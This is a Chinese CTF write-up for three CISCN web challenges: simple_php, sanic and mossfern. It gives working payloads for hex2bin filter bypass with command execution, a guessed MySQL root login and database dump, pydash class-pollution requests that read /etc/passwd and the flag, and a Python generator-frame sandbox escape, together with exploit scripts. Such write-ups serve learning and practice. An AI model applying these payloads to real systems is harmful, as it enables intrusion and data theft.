ciscn writeup web simple_php(复现) 解法一 比赛的时候一直在尝试其他命令,看了wp才发现能用php -r ‘代码’来执行php语句或者系统命令
与此相似的还有php -i
可以查看phpinfo等等
但是由于题目过滤了许多关键字,我们可以利用hex2bin转码绕过过滤
hex2bin(‘语句’); 但是由于过滤了引号,使用substr截取一个字符(这里是下划线),剩下的就会被识别为字符串
hex编码 ls / -> 6c73202f
1 php -r system (hex2bin (substr (_6c73202f,1 )));
命令成功执行
之后找了一圈没发现flag,ps -def指令可以查看进程
ps -def -> _7073202d646566
其中看到了mysql,flag应该在数据库中
直接猜账户root密码为root, -e执行sql语句
1 2 mysql -u root -p'root' -e 'show databases;' cmd=php -r system(hex2bin(substr(_6d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27,1)));
有PHP_CMS information_schema mysql performance_schema test这几个库
1 2 3 4 echo `mysql -u root -p'root' -e 'show databases;use PHP_CMS;show tables;'` #注意sql语句用反引号执行 #结果Tables_in_PHP_CMS F1ag_Se3Re7 echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7'`
拿到flag!
解法二 没有ban掉diff和dd,可以使用diff读目录,dd读文件:
读根目录
1 diff --recursive / /home
发现根目录没有flag。
读特定文件:
没有flag,但是发现了mysql,猜测账号密码root
1 mysqldump -uroot -proot --all-databases
sanic 访问/src目录拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" ) Session(app) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/login" ) async def login (request ): user = request.cookies.get("user" ) if user.lower() == 'adm;n' : request.ctx.session['admin' ] = True return text("login success" ) return text("login fail" ) @app.route("/src" ) async def src (request ): return text(open (__file__).read()) @app.route("/admin" , methods=['GET' , 'POST' ] ) async def admin (request ): if request.ctx.session.get('admin' ) == True : key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : return text("forbidden" ) return text("forbidden" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
进入/login设置cookie:user=”adm\073n”,拿到session
进入/admin cookie:session=”51e263b067a94ea6b1d8b51bbf161b97”
通过污染file可以读取文件
{"key":".__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}
尝试直接污染flag,禁止访问,不知道flag的位置,所以接下来的目的就是获取目录
进入static可以发现两个有关目录的参数
查阅资料可以使用app.route.name_index[]方法查询
先查找当前的路由,对源码改进方便调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from sanic import Sanicfrom sanic.response import text, htmlimport sysimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/src" ) async def src (request ): eval (request.args.get('test' )) return text(open (__file__).read()) @app.route("/admin" , methods=['GET' , 'POST' ] ) async def admin (request ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : return text("forbidden" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
进入src目录就可以执行代码了
1 2 print (app.router.name_index)>>>{'__mp_main__.static' : <Route: name=__mp_main__.static path=static/<__file_uri__:path>>, '__mp_main__.src' : <Route: name=__mp_main__.src path=src>, '__mp_main__.admin' : <Route: name=__mp_main__.admin path=admin>}
这样就可以通过app.router.name_index['__mp_main__']
获取路由了
接下来需要知道是怎么调用到directory_handler这块的
我们可以全局搜索name_index[]方法,在这里打个断点进行调试,这样就能看见调用的过程
至此我们了解了调用的顺序:app.route.name_index['__mp_main__'].handler.keywords['directory_handler']
可以访问到directory_view的属性:print(app.route.name_index['__mp_main__'].handler.keywords['directory_handler'])
可以直接污染这个值开启目录了:{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
注意这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,而__mp_main.static
是一个整体,用两个反斜杠来转义就够了
但是directory属性不是一个字符串,不能直接污染赋值,我们需要找到是谁给他赋的值
这里看到parts属性,但是是一个元组(只读)
打开受保护的特性,发现了一个_parts变量,是一个包含目录的list变量,猜测可以污染他来实现对directory赋值
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsdata = {"key" :"__init__\\\\.__globals__\\\\.__file__" ,"value" : "/24bcbd0192e591d6ded1_flag" } cookie={"session" :"51e263b067a94ea6b1d8b51bbf161b97" } response = requests.post(url='http://1344eda7-c9c2-405a-968a-dd1fa736c16f.challenge.ctf.show/admin' , json=data,cookies=cookie) print (response.text)
24bcbd0192e591d6ded1_flag
mossfern 有3个过滤:
1 2 3 4 for i in ["__" , "getattr" , "exit" ]:if any (x in str (line) for x in ["LOAD_GLOBAL" , "IMPORT_NAME" , "LOAD_METHOD" ]): if "THIS_IS_SEED" in output:
生成器
1 2 3 def my_generator (): yield g.gi_frame.f_back g=my_generator()
需要的是生成器对象,必须实例化函数
gi_frame:栈帧对象,记录源代码的结构,如果是嵌套的,可以通过f_back属性返回上一级
想要输出flag,可以借用生成器的f_code.consts,但是会被最后的if "THIS_IS_SEED" in output:
拦住,可以用for循环遍历输出
细节事项:
1.生成器必须使用才有f_back方法,有两种方法
1 2 3 next (g)或者 f1=[x for x in g][0 ]
把f_back放到生成器的返回值可以避免被置空
不用next的原因是代码执行的时候设置builtins为none,不能使用其他的函数
1 2 3 4 5 6 7 exec (code, { "__builtins__" : None , "randint" : randint, "randrange" : randrange, "seed" : seed, "print" : print }, None )
2.几层f_back?
一层一层测试,windows到达全局时不可操作,linux可拿到信息
1 2 f1=[x for x in g][0 ].f_back.f_back..... print (f1.f_globals["_" *2 +"builtins" +"_" *2 ])
测试是否有输出
到达最外层后
1 2 3 4 5 6 7 8 def my_generator (): yield g.gi_frame.f_back g=my_generator() f1=[x for x in g][0 ] f=f1.f_back.f_back.f_back str =f.f_globals["_" *2 +"builtins" +"_" *2 ].str for i in str (f.f_code.co_consts): print (i)
3.函数中yield的g未定义,会从全局获取,这样会触发检测,外层包一个函数即可
1 2 3 4 5 6 7 8 9 10 11 def jail (): def my_generator (): yield g.gi_frame.f_back g = my_generator() f1 = [x for x in g][0 ] f = f1.f_back.f_back.f_back str = f.f_globals["_" * 2 + "builtins" + "_" * 2 ].str for i in str (f.f_code.co_consts): print (i) jail()
4.这样for循环输出的结果会带有空行
1 2 3 4 5 6 7 8 9 10 11 12 13 code=""" def jail(): def my_generator(): yield g.gi_frame.f_back g = my_generator() f1 = [x for x in g][0] f = f1.f_back.f_back.f_back str = f.f_globals["_" * 2 + "builtins" + "_" * 2].str # 这里是取字符串,不是全局查找! for i in str(f.f_code.co_consts): print(i) jail()""" print (run(code)['result' ].replace('\n' ,'' ))
这样就可以连起来了
ctfshow需要json发包,用这个脚本可以转换格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def convert_code (file_path ): with open (file_path, 'r' ) as file: code = file.read() converted_code = code.replace('\n' , '\\n' ).replace(' ' , '\\t' ).replace('\"' ,'\'' ) with open (file_path, 'w' ) as file: file.write(converted_code) print ("代码转换完成!" ) file_path = './poc.txt' convert_code(file_path)